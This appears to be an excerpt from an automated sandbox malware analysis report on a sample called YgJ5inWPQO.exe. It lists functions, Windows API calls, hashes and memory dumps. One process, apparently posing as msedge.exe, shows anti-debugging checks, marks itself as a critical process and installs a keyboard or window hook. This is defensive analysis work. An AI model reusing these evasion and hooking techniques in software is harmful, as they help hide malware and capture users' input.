Associated: 00000002.00000002.1507137885.00007FFBAAE75000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507175590.00007FFBAAE9D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507199272.00007FFBAAEA0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507224854.00007FFBAAEA1000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507252662.00007FFBAAEA2000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507284955.00007FFBAAEA3000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507323660.00007FFBAAEA5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507400615.00007FFBAAEB4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507400615.00007FFBAAEB9000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507461882.00007FFBAAEE1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507486913.00007FFBAAEE2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa8a0000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 4c843af704d4999d6b1dd3508e9d37868a4ccb8a5710554f336d0007bef571e5
Instruction ID: b6727e45d5f7fc51a5e928a301123973d36d8bd56cc3b0546c89e3b1a2a03b66
Opcode Fuzzy Hash: 4c843af704d4999d6b1dd3508e9d37868a4ccb8a5710554f336d0007bef571e5
Instruction Fuzzy Hash: 09114F66B15F02C9EB00CF70E8542A833A8FB19758F440A35EE6D42794DF38D1558350

Function 00007FFBBB61338C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBBB6133B8
GetCurrentThreadId.KERNEL32 ref: 00007FFBBB6133C6
GetCurrentProcessId.KERNEL32 ref: 00007FFBBB6133D2
QueryPerformanceCounter.KERNEL32 ref: 00007FFBBB6133E2

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: aed7f86fc7a11c6df5e40bac6b102b5ddb6009efbef7b18aee2bd32e475f136b
Instruction ID: ca9a1274d1e67a83e37104031b8fea4f4dafdc8df778e9126140513feea157d9
Opcode Fuzzy Hash: aed7f86fc7a11c6df5e40bac6b102b5ddb6009efbef7b18aee2bd32e475f136b
Instruction Fuzzy Hash: 2C1115A6B14F018AEB00CF74EC543B873A4FB19758F445A31EB6E867A4DF78D5988340

Function 00007FFBBCD50D5C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBBCD50D88
GetCurrentThreadId.KERNEL32 ref: 00007FFBBCD50D96
GetCurrentProcessId.KERNEL32 ref: 00007FFBBCD50DA2
QueryPerformanceCounter.KERNEL32 ref: 00007FFBBCD50DB2

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 15bdf73cda2f41086707368dd9349a273cb6e4dedd62d10c03f2e51642f891d7
Instruction ID: b078ee3949d9209accfb1fbc45f75cb88c56423734a6c7607804021d9e62df60
Opcode Fuzzy Hash: 15bdf73cda2f41086707368dd9349a273cb6e4dedd62d10c03f2e51642f891d7
Instruction Fuzzy Hash: 271118AAB14B018AEB00CB78E8592A933A4FB59758F440E31DB6D867A4DF7CE5598340

Function 00007FF7FF5A5B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF5A17D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A1803

_get_daylight.LIBCMT ref: 00007FF7FF5A5CA4
_get_daylight.LIBCMT ref: 00007FF7FF5A5CB5

Strings

?, xrefs: 00007FF7FF5A5C35

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
Instruction ID: d01e687f5c737a1716513eb621d5cf813aec06a6f1a0f07a87aa6a2680b5a6bf
Opcode Fuzzy Hash: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
Instruction Fuzzy Hash: E8412822A092C242FB24AB25A451BB9E650EB92FA4F944335EE7C07AD9DF3CD451C750

Function 00007FF7FF599084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5990B6

Part of subcall function 00007FF7FF59A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
Part of subcall function 00007FF7FF59A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7FF58CC15), ref: 00007FF7FF5990D4

Strings

C:\Users\user\Desktop\YgJ5inWPQO.exe, xrefs: 00007FF7FF5990C2

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\YgJ5inWPQO.exe
API String ID: 3580290477-2366978088
Opcode ID: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
Instruction ID: 116025176c9ba06b75a6b1c5997c503702ba13ee47ba7defce06554ddc0d27b7
Opcode Fuzzy Hash: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
Instruction Fuzzy Hash: 2E417132A0879285EB28BF2594800FDA7A4FB457D0BD54235E97E43BC5DE3CE48283E0

Function 00007FF7FF59CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7FF59CDBF
GetLastError.KERNEL32 ref: 00007FF7FF59CDE1

Strings

U, xrefs: 00007FF7FF59CD6B

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 4350fd86aabc0073b0910ea94eab0ec3ec10ade74b9cb836cc04849bbc619faf
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: 8441A472B19BC685DB609F25E4443E9A760FB88794F845231EE6D87B98EF3CD401C790

Function 00007FFBBCD48DB4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD48EB2

Strings

void, xrefs: 00007FFBBCD48E14
void , xrefs: 00007FFBBCD48E3C

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 9a107da830986a561f624b9ef5478456632fe2e7b7c502874fad34e42bf4480a
Instruction ID: f919ea962d514bd11df59845f09185aa487075293fc0c723f568f0edad2012d4
Opcode Fuzzy Hash: 9a107da830986a561f624b9ef5478456632fe2e7b7c502874fad34e42bf4480a
Instruction Fuzzy Hash: 793107FAF18B5599FB11CBB8D8480EC37B0BB48788B440136DB4E66B59EF389145C758

Function 00007FF7FF59F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7FF59F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7FF59F6BA

Strings

:, xrefs: 00007FF7FF59F67E

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 4a9b1d6d16ab1fe6c903793d19c8bb2ed63e5c59599aead2cadc4c72b8df4769
Instruction ID: 9fc44e8121d8efa71f70279b571c035e06d98e4d0367eb3b9010fceeea1011ee
Opcode Fuzzy Hash: 4a9b1d6d16ab1fe6c903793d19c8bb2ed63e5c59599aead2cadc4c72b8df4769
Instruction Fuzzy Hash: 1C21C362A082C182EB38AB15D0442ADB3F5FB84B84FD54235D6BD436D4DF7CD9558BA0

Function 00007FFBBCD44E2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD451D0: RtlPcToFileHeader.KERNEL32 ref: 00007FFBBCD45220
Part of subcall function 00007FFBBCD451D0: RaiseException.KERNEL32 ref: 00007FFBBCD45261

RtlPcToFileHeader.KERNEL32 ref: 00007FFBBCD44E9F

Strings

Bad dynamic_cast!, xrefs: 00007FFBBCD44E52
Access violation - no RTTI data!, xrefs: 00007FFBBCD44E2F

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: 31c157b8eb2ec39060d8679ded3c8c7a40717f4d930d4d3a676af0386f3d6913
Instruction ID: 3b7c01dbdbed19f8ba1d7a96c5fb389fdd233a8b164e7eb0b056f7e6a01491bd
Opcode Fuzzy Hash: 31c157b8eb2ec39060d8679ded3c8c7a40717f4d930d4d3a676af0386f3d6913
Instruction Fuzzy Hash: 000184E9B29A46D3EE40DB38E4595786360FF90B44F849032E74E07665EF6CE949C708

Function 00007FF7FF58FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7FF58FE08
RaiseException.KERNEL32 ref: 00007FF7FF58FE49

Strings

csm, xrefs: 00007FF7FF58FE36

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: 62b1d1f84e2720f0c2b144e6d6778a27936c91cc0b47464ab0b2b22f3f879139
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 09115132609B8182EB609F15F400299B7E0FB88B84F584231DBAD077A9DF3CC561C740

Function 00007FFBBCD451D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFBBCD45220
RaiseException.KERNEL32 ref: 00007FFBBCD45261

Strings

csm, xrefs: 00007FFBBCD4524E

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 24fc685d9c18a97879a9043e169dd32e9d23318a9617333a79ec660fdc06252e
Instruction ID: 984ac1c2dd8fae40bf88ddda4c98963282121bb84d2f84b7ba3417aa59493804
Opcode Fuzzy Hash: 24fc685d9c18a97879a9043e169dd32e9d23318a9617333a79ec660fdc06252e
Instruction Fuzzy Hash: A7114CB6709B8182EB21CB29E44425AB7E4FB88B94F584235DF8C07758EF3CC5518704

Function 00007FF7FF5A07AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A07DC
GetDriveTypeW.KERNEL32 ref: 00007FF7FF5A081C

Strings

:, xrefs: 00007FF7FF5A0805

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: 51002d20dc399fcf7225d531e7aa008d07496236daae5ad4f3dea19c87a1a16d
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: C501716291928386F734BF6094652BEA3A0EF44708FC40235D57D83BD1DE3CE514CAA4

Function 00007FFBBCD4E4D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD4E720: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFBBCD4E74B

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD4E50A

Strings

csm, xrefs: 00007FFBBCD4E4EB
f, xrefs: 00007FFBBCD4E4E5

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: __except_validate_context_recordabortterminate
String ID: csm$f
API String ID: 339134311-629598281
Opcode ID: 049055b88727f29c58bed955df15e2ffd86eccd5c54e7ffa759ec555c1e45828
Instruction ID: 6d388b233bd59ddcd64ce30b0926c914ada1dbc725eccaeb0d4ac9d53106364c
Opcode Fuzzy Hash: 049055b88727f29c58bed955df15e2ffd86eccd5c54e7ffa759ec555c1e45828
Instruction Fuzzy Hash: 51E0E5F9F0864291EB20FB74F28813CABA0AF05B50F148138DB4806A4BDE3CD9908309

Function 00007FFBBB609D90 Relevance: 5.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFBBB609DEE
memmove.VCRUNTIME140 ref: 00007FFBBB614C2F
memcpy.VCRUNTIME140 ref: 00007FFBBB614C46

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: memcpy$memmove
String ID:
API String ID: 1283327689-0
Opcode ID: a822a3c8bf466068df5eb3aac5ce475471c643321ec8a211c878ee833f65bf0a
Instruction ID: 0914c9fec8ca8443ca60d2a327d0ef8ba0deae937b4270149a23ea579dfe616b
Opcode Fuzzy Hash: a822a3c8bf466068df5eb3aac5ce475471c643321ec8a211c878ee833f65bf0a
Instruction Fuzzy Hash: D131E1B2B086448BDA149E3EE844168F7A2FB14B90B589139DB5F477E4DE7CDC41C704

Function 00007FFBBCD45524 Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFBBCD453A9,?,?,?,?,00007FFBBCD4F63F,?,?,?,?,?), ref: 00007FFBBCD45543
SetLastError.KERNEL32(?,?,?,00007FFBBCD453A9,?,?,?,?,00007FFBBCD4F63F,?,?,?,?,?), ref: 00007FFBBCD455CC

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 550cea5c84bc0485e2971ce80c0edd506865995108a692b5126701225aaf57c4
Instruction ID: 08e8f78524a5ca4f1d0beda0204243ba4aa1b537f842445dc8f85fac0f92aaa8
Opcode Fuzzy Hash: 550cea5c84bc0485e2971ce80c0edd506865995108a692b5126701225aaf57c4
Instruction Fuzzy Hash: F711F1F8B0974282FA55DB7DE85C23963A2AF447A1F544A34DB2D473D5EE3CE842C608

Analysis Process: msedge.exePID: 5560, Parent PID: 4568COMMON

Execution Graph

Execution Coverage:	27.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33.3%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB49897A81 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFB49897B30

Memory Dump Source

Source File: 0000000C.00000002.2757668919.00007FFB49890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb49890000_msedge.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 971cfec5625fbeb0b02d5476e0101b682bf71d55649977abf9be5737cc48d148
Instruction ID: 2a0bb152af3cefb52d11a105746113fd75a36d9e0dbbf35f21c2d1cf801f0309
Opcode Fuzzy Hash: 971cfec5625fbeb0b02d5476e0101b682bf71d55649977abf9be5737cc48d148
Instruction Fuzzy Hash: 2C51107190CB898FDB46EF78C8456A97FF0FF56311F0842ABD489C7192DB28A845CB91

Function 00007FFB49898BF2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFB49899952

Strings

O_^, xrefs: 00007FFB49898BF2

Memory Dump Source

Source File: 0000000C.00000002.2757668919.00007FFB49890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb49890000_msedge.jbxd

Similarity

API ID: CriticalProcess
String ID: O_^
API String ID: 2695349919-3627497092
Opcode ID: ffffcf1a3d63b31aa9b899954f54bf52d4401e7e6b1913b6ed28fbf7f31412f9
Instruction ID: eeb66dd2ba1241553f76db591bccfda0ed52526f30c1577cd0f7c15c36352829
Opcode Fuzzy Hash: ffffcf1a3d63b31aa9b899954f54bf52d4401e7e6b1913b6ed28fbf7f31412f9
Instruction Fuzzy Hash: 2A31007190CA498FDB29EF6CD845AE97BF0FF55311F14412EE09AD3682CB24A846CB91

Function 00007FFB49899BAD Relevance: 1.8, APIs: 1, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFB49899D61

Memory Dump Source

Source File: 0000000C.00000002.2757668919.00007FFB49890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb49890000_msedge.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 25339889b09142d1d0843cca359bad7f04ed94ccf09037d3d4ba009e590a8318
Instruction ID: 9cd9231d03d6522a929c792c2cfbe3d1856f50698f8e0b59b6bb6ece4d217a9a
Opcode Fuzzy Hash: 25339889b09142d1d0843cca359bad7f04ed94ccf09037d3d4ba009e590a8318
Instruction Fuzzy Hash: C771017090CA4D8FDB49EF6CD8466F9BBE1EF59321F00422ED049C3692CB65A8068B81

Function 00007FFB498998A8 Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFB49899952

Memory Dump Source

Source File: 0000000C.00000002.2757668919.00007FFB49890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb49890000_msedge.jbxd

Similarity

